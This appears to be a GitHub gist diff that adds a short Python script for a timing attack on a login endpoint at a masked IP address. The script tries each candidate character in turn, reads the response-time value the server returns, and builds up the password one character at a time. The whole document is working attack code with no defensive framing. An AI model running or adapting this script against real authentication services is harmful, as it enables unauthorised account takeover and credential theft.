rootux · May 14, 2019 09:37 · May 14, 2019
diff --git a/gistfile1.txt b/gistfile1.txt
@@ -0,0 +1,32 @@
+import requests
+# In a parallel universe we use import string string.printable
+CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"
+URL = "http://XX.YYY.ZZZ.XX:8070/auth/v1_1"
+HEADERS = {'User-Agent' : 'ed9ae2c0-9b15-4556-a393-23d500675d4b', 'content-type' : 'application/json; charset=utf-8' }
+PAYLOAD ={}
+DISCOVERED_PASSWORD = "f"
+
+def check(chars):
+    print('---')
+    result_chars = []
+    for i in range(len(chars)):
+        PAYLOAD['Seed']     = "d14236b60e0f4aef94499cb648a5f522"
+        PAYLOAD['Password'] = DISCOVERED_PASSWORD + chars[i]
+        r = requests.post(url=URL, json=PAYLOAD, headers=HEADERS)
+        result = r.json()
+        delay = result['Time']
+        if(delay > len(PAYLOAD['Password'])*30000000):
+            result_chars.append(chars[i])
+    return result_chars
+
+# 40 cause its probably only 32
+for i in range(40):
+    res = check(CHARACTERS)
+    for i in range(10):
+        res = check(res)
+        print(res)
+
+    DISCOVERED_PASSWORD += res[0]
+    print("FOUND ONE MORE! {}".format(DISCOVERED_PASSWORD))
+
+print(DISCOVERED_PASSWORD)